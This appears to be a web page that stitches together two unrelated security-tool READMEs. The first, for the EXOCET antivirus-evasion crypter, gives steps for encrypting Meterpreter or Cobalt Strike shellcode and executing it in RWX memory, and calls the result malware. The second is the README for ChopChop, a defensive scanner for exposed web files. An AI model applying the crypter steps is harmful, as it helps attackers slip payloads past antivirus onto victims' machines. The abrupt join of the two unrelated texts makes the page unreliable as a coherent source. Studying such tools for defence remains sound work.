  3. Accounting and Finance Classes, Computer Science was NEVER my college major and in the following weeks I will have exams back-to-back
  4. Federal Supervised Release Conditions and the FBI trying to implicate me in new unproven crimes. I have dash camera videos I uploaded to the cloud to prove it that I am sending to my lawyers. I have documented multiple attacks against me, vandalism of my car, my house, filed police reports and counter reports and will be building my case to file a Federal lawsuit. One of the perpetrators, who ripped out my front bumper of my car, has been arrested.
  5. A private project involving interaction with the CoinGeckoAPI
  6. Running the cryptoscopeinitiative.org, a to-be-filed 501c3 Non-Profit Organization
  7. Teaching three online classes on Exploit Development

Upcoming update! Direct encrypted shellcode execution! (Implemented in test versions, not released yet)

I need a bit of help, because I successfully implemented CGO to execute encrypted shellcode but it is throwing memory access violations exit status 0xc0000005. It shouldn't be anything related to DEP (Data Execution Prevention) because the file CGOTest/working-template-shellcode-executor.go did run.

Problem Discovered

As it turns out, VirtualAlloc must be called from kernel32.dll and ntdll.dll to properly make the memory page where the shellcode lands, readable, writable, and executable, in other word, set the PAGE_EXECUTE_READWRITE to ON. Read the Note on Memory Access Violation Problem below.


Once I figure this out, CGO was a pain in the ass to implement, we can now create crypters that execute INLINE-ASSEMBLY. Which was considered a impossibility until now.

Note this requires Golang and the MinGW toolchain to be installed on Windows with you running and generating the shellcode on Windows. The reason why, is because CGO cannot be cross-compiled like our other EXOCET modules. To install the toolchain you need to go to https://www.msys2.org/ and follow the guide. Then you must add gcc to your environment variables in Windows

Step 1: Generate shellcode, this could be from msfvenom Meterpreter payloads, Cobalt Strike Beacons, or your own custom shellcode in C compatible format


Step 2: Copy only the bytes of the shellcode, excluding the quotes into a text file like sc.txt


Step 3: Your shellcode file should look like this. Raw shellcode


Step 4: Now run the command go run exocet-shellcode-exec.go sc.txt shellcodetest.go KEY

Step 5: You can attempt to run it but you'll run into memory access violation errors for some reason, which I am still working on


Note on Memory Access Violation Problem

Apparently, aside from the major limitations of CGO that prohibit or dramatically frustrates cross-compilation, the issue is that the shellcode we want to execute is landing in a section of memory (analyzed in WinDBG x64) that is not RWX. In other words, unless we write C code that explicitly allows execution in memory of the shellcode, it will always throw access violation errors.

The other method, that I observed other developers of rudimentary Go modules https://gist.github.com/mgeeky/bb0fd5652b234fbd1c7630d7e5c8542d, is that they use Go's Windows API to interact with ntdll.dll and kernel32.dll to call VirtualAlloc and specify areas of RWX memory pages. This method works better, but it seems that the shellcode must be in num-transformed format only for it to work.

I am still working on this you guys. I may combine multiple programming languages together to write a proper shellcode execution module


Note on Apple M1 Chips for precompiled binaries

Unfortunately I am running into errors for making a pre-compiled binary for MacBooks running the new M1 CPUs. It may be a issue with my Golang installation

â”Ή”€Ã¢”€(root💀kali)-[/opt/EXOCET-AV-Evasion]
└─# GOOS=darwin GOARCH=arm64 go build exocet.go
# command-line-arguments
/usr/lib/go-1.15/pkg/tool/linux_amd64/link: running gcc failed: exit status 1
/tmp/go-link-477718799/go.o: file not recognized: file format not recognized
collect2: error: ld returned 1 exit status

Either way, you still require Golang to compile or cross-compile the malware to the platform you are targeting.



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ChopChop - ChopChop Is A CLI To Help Developers Scanning Endpoints And Identifying Exposition Of Sensitive Services/Files/Folders


ChopChop is a command-line tool for dynamic application security testing on web applications, initially written by the Michelin CERT.

Its goal is to scan several endpoints and identify exposition of services/files/folders through the webroot. Checks/Signatures are declared in a config file (by default: chopchop.yml), fully configurable, and especially by developers.



"Chop chop" is a phrase rooted in Cantonese. "Chop chop" means "hurry" and suggests that something should be done now and without delay.


Building

We tried to make the build process painless and hopefully, it should be as easy as:

$ go mod download
$ go build .

There should be a resulting gochopchop binary in the folder.


Using Docker

Thanks to Github Container Registry, we are able to provide you some freshly-build Docker images!

docker run ghcr.io/michelin/gochopchop scan https://foobar.com -v debug

But if you prefer, you can also build it locally, see below:


Build locally
docker build -t gochopchop .

Usage

We are continuously trying to make goChopChop as easy as possible. Scanning a host with this utility is as simple as :

$ ./gochopchop scan https://foobar.com

Using Docker
docker run gochopchop scan https://foobar.com

Custom configuration file
docker run -v ./:/app chopchop scan -c /app/chopchop.yml https://foobar.com

What's next

The Golang rewrite took place a couple of months ago but there's so much to do, still. Here are some features we are planning to integrate : [x] Threading for better performance [x] Ability to specify the number of concurrent threads [x] Colors and better formatting [x] Ability to filter checks/signatures to search for [x] Mock and unit tests [x] Github CI And much more!


Testing

To quickly end-to-end test chopchop, we provided a web-server in tests/server.go. To try it, please run go run tests/server.go then run chopchop with the following command ./gochopchop scan http://localhost:8000 --verbosity Debug. ChopChop should print "no vulnerabilities found".

There are also unit test that you can launch with go test -v ./.... These tests are integrated in the github CI workflow.


Available flags

You can find the available flags available for the scan command :

Flag Full flag Description
-h --help Help wizard
-v --verbosity Verbose level of logging
-c --signature Path of custom signature file
-k --insecure Disable SSL Verification
-u --url-file Path to a specified file containing urls to test
-b --max-severity Block the CI pipeline if severity is over or equal specified flag
-e --export Export type of the output (csv and/or json)
--export-filename Specify the filename for the export file(s)
-t --timeout Timeout for the HTTP requests
--severity-filter Filter Plugins by severity
--plugin-filter Filter Plugins by name of plugin
--threads Number of concurrent threads

Advanced usage

Here is a list of advanced usage that you might be interested in. Note: Redirectors like > for post processing can be used.

  • Ability to scan and disable SSL verification
$ ./gochopchop scan https://foobar.com --insecure
  • Ability to scan with a custom configuration file (including custom plugins)
$ ./gochopchop scan https://foobar.com --insecure --signature test_config.yml
  • Ability to list all the plugins or by severity : plugins or plugins --severity High
$ ./gochopchop plugins --severity High
  • Ability to specify number of concurrent threads : --threads 4 for 4 workers
$ ./gochopchop plugins --threads 4
  • Ability to block the CI pipeline by severity level (equal or over specified severity) : --max-severity Medium
$ ./gochopchop scan https://foobar.com --max-severity Medium
  • Ability to specify specific signatures to be checked
./gochopchop scan https://foobar.com --timeout 1 --verbosity --export=csv,json --export-filename boo --plugin-filters=Git,Zimbra,Jenkins
  • Ability to list all the plugins
$ ./gochopchop plugins
  • List High severity plugins
$ ./gochopchop plugins --severity High
  • Set a list or URLs located in a file
$ ./gochopchop scan --url-file url_file.txt
  • Export GoChopChop results in CSV and JSON format
$ ./gochopchop scan https://foobar.com  --export=csv,json --export-filename results

Creating a new check

Writing a new check is as simple as :

  - endpoint: "/.git/config"
checks:
- name: Git exposed
match:
- "[branch"
remediation: Do not deploy .git folder on production servers
description: Verifies that the GIT repository is accessible from the site
severity: "High"

An endpoint (eg. /.git/config) is mapped to multiple checks which avoids sending X requests for X checks. Multiple checks can be done through a single HTTP request. Each check needs those fields:

Attribute Type Description Optional ? Example
name string Name of the check No Git exposed
description string A small description for the check No Ensure .git repository is not accessible from the webroot
remediation string Give a remediation for this specific "issue" No Do not deploy .git folder on production servers
severity Enum("High", "Medium", "Low", "Informational") Rate the criticity if it triggers in your environment No High
status_code integer The HTTP status code that should be returned Yes 200
headers List of string List of headers there should be in the HTTP response Yes N/A
no_headers List of string List of headers there should NOT be in the HTTP response Yes N/A
match List of string List the strings there should be in the HTTP response Yes "[branch"
no_match List of string List the strings there should NOT be in the HTTP response Yes N/A
query_string GET parameters that have to be passed to the endpoint String Yes query_string: "id=FOO-chopchoptest"

External Libraries
Library Name Link License
Viper https://github.com/spf13/viper MIT License
Go-pretty https://github.com/jedib0t/go-pretty MIT License
Cobra https://github.com/spf13/cobra Apache License 2.0
strfmt https://github.com/go-openapi/strfmt Apache License 2.0
Go-homedir https://github.com/mitchellh/go-homedir MIT License
pkg-errors https://github.com/pkg/errors BSD 2 (Simplified License)
Go-runewidth https://github.com/mattn/go-runewidth MIT License

Please, refer to the third-party.txt file for further information.


Talks

License

ChopChop has been released under Apache License 2.0. Please, refer to the LICENSE file for further information.


Authors
  • Paul A.
  • David R. (For the Python version)
  • Stanislas M. (For the Golang version)


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